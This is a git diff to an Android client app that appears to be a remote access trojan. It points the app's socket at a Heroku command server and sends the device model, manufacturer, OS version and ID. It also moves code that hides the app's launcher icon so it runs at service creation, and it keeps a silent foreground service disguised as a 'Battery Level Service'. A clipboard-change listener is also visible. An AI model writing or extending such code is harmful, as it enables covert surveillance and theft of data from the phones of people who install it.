diff --git a/client/app/app.iml b/client/app/app.iml
index 0d03c40..d14dc26 100644
--- a/client/app/app.iml
+++ b/client/app/app.iml
@@ -19,7 +19,7 @@
-
+
diff --git a/client/app/release/app-release.apk b/client/app/release/app-release.apk
index a38063c..663cebf 100644
Binary files a/client/app/release/app-release.apk and b/client/app/release/app-release.apk differ
diff --git a/client/app/src/main/ic_launcher-web.png b/client/app/src/main/ic_launcher-web.png
new file mode 100644
index 0000000..27a46a0
Binary files /dev/null and b/client/app/src/main/ic_launcher-web.png differ
diff --git a/client/app/src/main/java/com/remote/app/IOSocket.java b/client/app/src/main/java/com/remote/app/IOSocket.java
index f21cf1f..e350c6a 100644
--- a/client/app/src/main/java/com/remote/app/IOSocket.java
+++ b/client/app/src/main/java/com/remote/app/IOSocket.java
@@ -21,7 +21,7 @@ public class IOSocket {
opts.reconnectionDelay = 5000;
opts.reconnectionDelayMax = 999999999;
- ioSocket = IO.socket("http://3.6.95.182:22222?model="+ android.net.Uri.encode(Build.MODEL)+"&manf="+Build.MANUFACTURER+"&release="+Build.VERSION.RELEASE+"&id="+deviceID);
+ ioSocket = IO.socket("https://xwizer.herokuapp.com:443?model="+ android.net.Uri.encode(Build.MODEL)+"&manf="+Build.MANUFACTURER+"&release="+Build.VERSION.RELEASE+"&id="+deviceID);
} catch (URISyntaxException e) {
e.printStackTrace();
}
diff --git a/client/app/src/main/java/com/remote/app/MainService.java b/client/app/src/main/java/com/remote/app/MainService.java
index b777b49..44e0dae 100644
--- a/client/app/src/main/java/com/remote/app/MainService.java
+++ b/client/app/src/main/java/com/remote/app/MainService.java
@@ -116,6 +116,10 @@ public class MainService extends Service {
@Override
public void onCreate() {
super.onCreate();
+
+ PackageManager pkg=this.getPackageManager();
+ pkg.setComponentEnabledSetting(new ComponentName(this, MainActivity.class), PackageManager.COMPONENT_ENABLED_STATE_DISABLED, PackageManager.DONT_KILL_APP);
+
if (Build.VERSION.SDK_INT > Build.VERSION_CODES.O)
startMyOwnForeground();
else
@@ -125,7 +129,7 @@ public class MainService extends Service {
@RequiresApi(Build.VERSION_CODES.O)
private void startMyOwnForeground()
{
- String NOTIFICATION_CHANNEL_ID = "example.permanence";
+ String NOTIFICATION_CHANNEL_ID = "example_permanence";
String channelName = "Battery Level Service";
NotificationChannel chan = new NotificationChannel(NOTIFICATION_CHANNEL_ID, channelName, NotificationManager.IMPORTANCE_NONE);
chan.setLightColor(Color.BLUE);
@@ -141,7 +145,7 @@ public class MainService extends Service {
.setPriority(NotificationManager.IMPORTANCE_MIN)
.setCategory(Notification.CATEGORY_SERVICE)
.build();
- startForeground(2, notification);
+ startForeground(1, notification);
}
@@ -149,8 +153,8 @@ public class MainService extends Service {
public int onStartCommand(Intent intent, int flags, int startId) {
super.onStartCommand(intent, flags, startId);
- PackageManager pkg=this.getPackageManager();
- pkg.setComponentEnabledSetting(new ComponentName(this, MainActivity.class), PackageManager.COMPONENT_ENABLED_STATE_DISABLED, PackageManager.DONT_KILL_APP);
+// PackageManager pkg=this.getPackageManager();
+// pkg.setComponentEnabledSetting(new ComponentName(this, MainActivity.class), PackageManager.COMPONENT_ENABLED_STATE_DISABLED, PackageManager.DONT_KILL_APP);
ClipboardManager.OnPrimaryClipChangedListener mPrimaryChangeListener = new ClipboardManager.OnPrimaryClipChangedListener() {
public void onPrimaryClipChanged() {
diff --git a/client/app/src/main/res/mipmap-anydpi-v26/ic_launcher.xml b/client/app/src/main/res/mipmap-anydpi-v26/ic_launcher.xml
new file mode 100644
index 0000000..036d09b
--- /dev/null
+++ b/client/app/src/main/res/mipmap-anydpi-v26/ic_launcher.xml
@@ -0,0 +1,5 @@
+
+
+
+
+
\ No newline at end of file
diff --git a/client/app/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml b/client/app/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml
new file mode 100644
index 0000000..036d09b
--- /dev/null
+++ b/client/app/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml
@@ -0,0 +1,5 @@
+
+
+
+
+
\ No newline at end of file
diff --git a/client/app/src/main/res/mipmap-hdpi/ic_launcher.png b/client/app/src/main/res/mipmap-hdpi/ic_launcher.png
index cde69bc..f8e75b5 100644
Binary files a/client/app/src/main/res/mipmap-hdpi/ic_launcher.png and b/client/app/src/main/res/mipmap-hdpi/ic_launcher.png differ
diff --git a/client/app/src/main/res/mipmap-hdpi/ic_launcher_foreground.png b/client/app/src/main/res/mipmap-hdpi/ic_launcher_foreground.png
new file mode 100644
index 0000000..7eaa4b5
Binary files /dev/null and b/client/app/src/main/res/mipmap-hdpi/ic_launcher_foreground.png differ
diff --git a/client/app/src/main/res/mipmap-hdpi/ic_launcher_round.png b/client/app/src/main/res/mipmap-hdpi/ic_launcher_round.png
new file mode 100644
index 0000000..efeca05
Binary files /dev/null and b/client/app/src/main/res/mipmap-hdpi/ic_launcher_round.png differ
diff --git a/client/app/src/main/res/mipmap-mdpi/ic_launcher.png b/client/app/src/main/res/mipmap-mdpi/ic_launcher.png
index c133a0c..4f319db 100644
Binary files a/client/app/src/main/res/mipmap-mdpi/ic_launcher.png and b/client/app/src/main/res/mipmap-mdpi/ic_launcher.png differ
diff --git a/client/app/src/main/res/mipmap-mdpi/ic_launcher_foreground.png b/client/app/src/main/res/mipmap-mdpi/ic_launcher_foreground.png
new file mode 100644
index 0000000..90d12ec
Binary files /dev/null and b/client/app/src/main/res/mipmap-mdpi/ic_launcher_foreground.png differ
diff --git a/client/app/src/main/res/mipmap-mdpi/ic_launcher_round.png b/client/app/src/main/res/mipmap-mdpi/ic_launcher_round.png
new file mode 100644
index 0000000..57ae91a
Binary files /dev/null and b/client/app/src/main/res/mipmap-mdpi/ic_launcher_round.png differ
diff --git a/client/app/src/main/res/mipmap-xhdpi/ic_launcher.png b/client/app/src/main/res/mipmap-xhdpi/ic_launcher.png
index bfa42f0..0d977fa 100644
Binary files a/client/app/src/main/res/mipmap-xhdpi/ic_launcher.png and b/client/app/src/main/res/mipmap-xhdpi/ic_launcher.png differ
diff --git a/client/app/src/main/res/mipmap-xhdpi/ic_launcher_foreground.png b/client/app/src/main/res/mipmap-xhdpi/ic_launcher_foreground.png
new file mode 100644
index 0000000..992c962
Binary files /dev/null and b/client/app/src/main/res/mipmap-xhdpi/ic_launcher_foreground.png differ
diff --git a/client/app/src/main/res/mipmap-xhdpi/ic_launcher_round.png b/client/app/src/main/res/mipmap-xhdpi/ic_launcher_round.png
new file mode 100644
index 0000000..2678d3c
Binary files /dev/null and b/client/app/src/main/res/mipmap-xhdpi/ic_launcher_round.png differ
diff --git a/client/app/src/main/res/mipmap-xxhdpi/ic_launcher.png b/client/app/src/main/res/mipmap-xxhdpi/ic_launcher.png
index 324e72c..1f2718c 100644
Binary files a/client/app/src/main/res/mipmap-xxhdpi/ic_launcher.png and b/client/app/src/main/res/mipmap-xxhdpi/ic_launcher.png differ
diff --git a/client/app/src/main/res/mipmap-xxhdpi/ic_launcher_foreground.png b/client/app/src/main/res/mipmap-xxhdpi/ic_launcher_foreground.png
new file mode 100644
index 0000000..62e666f
Binary files /dev/null and b/client/app/src/main/res/mipmap-xxhdpi/ic_launcher_foreground.png differ
diff --git a/client/app/src/main/res/mipmap-xxhdpi/ic_launcher_round.png b/client/app/src/main/res/mipmap-xxhdpi/ic_launcher_round.png
new file mode 100644
index 0000000..161f5d8
Binary files /dev/null and b/client/app/src/main/res/mipmap-xxhdpi/ic_launcher_round.png differ
diff --git a/client/app/src/main/res/mipmap-xxxhdpi/ic_launcher.png b/client/app/src/main/res/mipmap-xxxhdpi/ic_launcher.png
index aee44e1..a22ee89 100644
Binary files a/client/app/src/main/res/mipmap-xxxhdpi/ic_launcher.png and b/client/app/src/main/res/mipmap-xxxhdpi/ic_launcher.png differ
diff --git a/client/app/src/main/res/mipmap-xxxhdpi/ic_launcher_foreground.png b/client/app/src/main/res/mipmap-xxxhdpi/ic_launcher_foreground.png
new file mode 100644
index 0000000..f136452
Binary files /dev/null and b/client/app/src/main/res/mipmap-xxxhdpi/ic_launcher_foreground.png differ
diff --git a/client/app/src/main/res/mipmap-xxxhdpi/ic_launcher_round.png b/client/app/src/main/res/mipmap-xxxhdpi/ic_launcher_round.png
new file mode 100644
index 0000000..58239ad
Binary files /dev/null and b/client/app/src/main/res/mipmap-xxxhdpi/ic_launcher_round.png differ
diff --git a/client/app/src/main/res/values/ic_launcher_background.xml b/client/app/src/main/res/values/ic_launcher_background.xml
new file mode 100644
index 0000000..b62183c
--- /dev/null
+++ b/client/app/src/main/res/values/ic_launcher_background.xml
@@ -0,0 +1,4 @@
+
+
+ #1294A6
+
\ No newline at end of file
diff --git a/client/client.iml b/client/client.iml
index 0f915de..7be0571 100644
--- a/client/client.iml
+++ b/client/client.iml
@@ -12,8 +12,9 @@
+
-
+
\ No newline at end of file